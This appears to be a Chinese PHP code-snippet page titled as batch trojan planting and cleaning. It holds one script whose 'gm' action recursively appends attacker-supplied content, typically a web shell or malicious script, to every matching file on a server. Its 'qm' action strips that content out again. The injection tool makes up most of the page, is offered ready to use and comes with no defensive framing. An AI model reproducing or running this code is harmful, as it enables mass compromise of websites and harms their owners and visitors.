Maison > Article > développement back-end > php下批量挂马和批量清马代码_PHP
复制代码 代码如下:
<?php function gmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d->read())) { if($v == “.” || $v == “..”) continue; $file = $d->path.”/”.$v; if(@is_dir($file)) { gmfun($file); } else { if(@ereg(stripslashes($_POST["key"]),$file)) { $mm=stripcslashes( trim( $_POST[mm] ) ); $handle = @fopen (”$file”, “a”); @fwrite($handle, “$mm”); @fclose($handle); echo “已挂马文件:$file\n ”; } } } $d->close(); echo ” “; } function qmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d->read())) { if($v == “.” || $v == “..”) continue; $file = $d->path.”/”.$v; if(@is_dir($file)) { qmfun($file); } else { if(@ereg(stripslashes($_POST["key"]),$file)) { $mm=stripcslashes( trim( $_POST[mm] ) ); $handle = fopen (”$file”, “rb”); $oldcontent=fread($handle,filesize($file)); fclose($handle); $newcontent=str_replace($mm,””,$oldcontent); $fw = fopen (”$file”, “wb”); fwrite($fw,$newcontent,strlen($newcontent)); fclose($fw); echo “已清马文件:$file\n ”; } } } $d->close(); echo ” “; } if ($_GET['action']=='gm') { set_time_limit(0); gmfun($_POST["dir"]); } if ($_GET['action']=='qm') { set_time_limit(0); qmfun($_POST["dir"]); } ?>